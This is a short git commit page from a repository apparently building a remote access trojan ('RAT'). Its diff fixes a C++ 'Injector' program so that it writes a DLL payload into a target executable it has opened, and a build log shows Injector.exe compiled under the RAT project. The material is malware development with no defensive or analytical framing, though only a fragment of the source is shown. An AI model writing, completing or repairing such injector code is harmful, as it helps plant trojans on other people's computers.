Injector now works !

This commit is contained in:
hellisabove
2023-07-03 03:10:07 +03:00
parent 89dbd15250
commit 0969e96a55
3 changed files with 3 additions and 4 deletions
+1 -1
View File
@@ -137,7 +137,7 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<MinimumRequiredVersion>5.01</MinimumRequiredVersion> <MinimumRequiredVersion>5.02</MinimumRequiredVersion>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
+2 -2
View File
@@ -19,7 +19,7 @@ INT main(INT arg, PCHAR argv[]) {
if (x_file != INVALID_HANDLE_VALUE) { if (x_file != INVALID_HANDLE_VALUE) {
DWORD file_size = GetFileSize(x_file, NULL); DWORD file_size = GetFileSize(x_file, NULL);
PBYTE file_buffer = PBYTE(LocalAlloc(LPTR, file_size)); PBYTE file_buffer = PBYTE(LocalAlloc(LPTR, file_size));
DWORD returned_bytes; DWORD returned_bytes, unused_bytes;
BOOL file_read = ReadFile(x_file, file_buffer, file_size, &returned_bytes, NULL); BOOL file_read = ReadFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
if (file_read == TRUE && returned_bytes == file_size) { if (file_read == TRUE && returned_bytes == file_size) {
@@ -63,7 +63,7 @@ INT main(INT arg, PCHAR argv[]) {
} }
// add file // add file
WriteFile(x_file, file_buffer, file_size, &returned_bytes, NULL); WriteFile(x_file, dll_buffer, dll_size, &unused_bytes, NULL);
} }
} }
LocalFree(dll_buffer); LocalFree(dll_buffer);
-1
View File
@@ -1,3 +1,2 @@
Source.cpp Source.cpp
c:\users\hellisabove\source\repos\rat\injector\source.cpp(26): warning C4312: 'type cast': conversion from 'BOOL' to 'PIMAGE_DOS_HEADER' of greater size
Injector.vcxproj -> C:\Users\hellisabove\source\repos\RAT\x64\Debug\Injector.exe Injector.vcxproj -> C:\Users\hellisabove\source\repos\RAT\x64\Debug\Injector.exe